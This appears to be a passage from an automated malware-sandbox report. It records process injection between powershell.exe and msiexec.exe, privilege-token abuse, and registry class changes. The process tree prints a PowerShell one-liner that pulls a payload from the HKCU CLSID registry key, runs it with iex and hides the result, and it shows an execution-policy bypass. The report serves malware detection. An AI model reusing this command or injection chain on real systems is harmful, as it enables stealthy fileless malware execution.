\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{000D0F12-0507-0D0F-0013-030403110004}\TreatAs powershell.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\ID = "0" msiexec.exe -
Suspicious behavior: EnumeratesProcesses 8 IoCs
Processes:
powershell.exemsiexec.exepowershell.exepid process 5052 powershell.exe 5052 powershell.exe 5052 powershell.exe 5052 powershell.exe 884 msiexec.exe 884 msiexec.exe 1044 powershell.exe 1044 powershell.exe -
Suspicious behavior: MapViewOfSection 1 IoCs
Processes:
powershell.exepid process 5052 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
Processes:
powershell.exepowershell.exedescription pid process Token: SeDebugPrivilege 5052 powershell.exe Token: SeDebugPrivilege 1044 powershell.exe -
Suspicious use of WriteProcessMemory 4 IoCs
Processes:
powershell.exemsiexec.exedescription pid process target process PID 5052 wrote to memory of 884 5052 powershell.exe msiexec.exe PID 5052 wrote to memory of 884 5052 powershell.exe msiexec.exe PID 884 wrote to memory of 1044 884 msiexec.exe powershell.exe PID 884 wrote to memory of 1044 884 msiexec.exe powershell.exe
Processes
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\1728.ps11⤵
- Blocklisted process makes network request
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5052 -
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe2⤵
- Blocklisted process makes network request
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:884 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -c "&{$v1='4068';$k1='hkcu:\Software\Classes\CLSID';$p1=(gp $k1).$v1;rp $k1 $v1;set-itemproperty -pat $k1 -n $v1 -va (($p1|iex)|out-string);exit}"3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1044